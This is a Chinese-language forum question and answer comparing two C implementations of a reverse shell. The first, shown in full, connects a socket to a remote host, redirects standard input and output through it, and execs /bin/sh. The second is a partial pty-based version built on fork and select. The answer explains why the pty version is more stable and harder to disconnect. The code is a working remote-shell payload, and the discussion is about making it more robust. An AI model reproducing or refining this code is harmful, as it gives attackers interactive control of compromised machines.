反弹Shell的编程问题:请教两种编程方法的代码稳定性/安全性等区别

问题遇到的现象和发生背景

反弹Shell的编程问题

问题相关代码,请勿粘贴截图

在写代码的时候都尽可能简单和直接,我的编程方法:


    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in stRemoteAddr = {0};
    socklen_t socklen = 0;
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
#ifdef DEBUG
    check(0, "redirectShell...\n");
#endif
    if (sock < 0)
        exit(0);
    char *argv[] = {"sh", "-i", NULL};
    char *envp[] = {0, NULL};
    stRemoteAddr.sin_family = AF_INET;
    stRemoteAddr.sin_addr.s_addr = hostIP;
    stRemoteAddr.sin_port = htons(hostPort);
    if ((connect(sock, (struct sockaddr_in *)&stRemoteAddr, sizeof(stRemoteAddr))) < 0)
        exit(0);
    sleep(1);
    execve("/bin/sh", argv, envp);
    close(sock);

然后我看别人的代码,是这么写的,只放相关代码

    fd_set rd;
    struct winsize ws;
    char *slave, *temp, *shell;
    int ret, len, pid, pty, tty, n;
    if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 )
    {
        return( 24 );
    }

    slave = ttyname( tty );

    if( slave == NULL )
    {
        return( 25 );
    }
  ……
     if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 )
    {
        return( 40 );
    }
    ……
    pid = fork();

    if( pid < 0 )
    {
        return( 43 );
    }

    if( pid == 0 )
    {
         close( client );
        close( pty );

        if( setsid() < 0 )
        {
            return( 44 );
        }

        if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
        {
            return( 45 );
        }
        
        dup2( tty, 0 );
        dup2( tty, 1 );
        dup2( tty, 2 );

        if( tty > 2 )
        {
            close( tty );
        }

        execl( shell, shell + 5, "-c", temp, (char *) 0 );
}
else
{ /* Parent process*/
      while( 1 )
        {
            FD_ZERO( &rd );
            FD_SET( client, &rd );
            FD_SET( pty, &rd );

            n = ( pty > client ) ? pty : client;

            if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
            {
                return( 49 );
            }

            if( FD_ISSET( client, &rd ) )
            {
               ……
            }

            if( FD_ISSET( pty, &rd ) )
            {
               ……
            }
        }
}
运行结果及报错内容

在运行效果上,两者并没有什么差异,都能成功交互

我的解答思路和尝试过的方法

我的问题是,我的第一种编程方法和第二种编程方法在实现原理上、稳定上、安全性上等方面是有什么差别?

第一段代码很独啊,一旦有问题,直接exit(0),像篮球比赛中的终结者,球到他手上,这个回合就结束了,不会给别人传球的
第二段考虑的比较细致,一旦有问题,会向外反馈问题发生的原因,外部可以针对问题进行相应处理,保障程序可以继续运行

方法一采用相同的终端和会话,一旦用户关闭终端,或者结束程序运行,或者与其产生交互,将会导致失联和出错;方法二创建新的终端和会话,解决上述问题。另外,方法二采用异步技术,避免客户端和服务器之间的通信过程产生阻塞,属于通用方案。最后,方法一是服务器直接和客户端的操作系统交互,方法二是服务器通过客户端间接控制操作系统。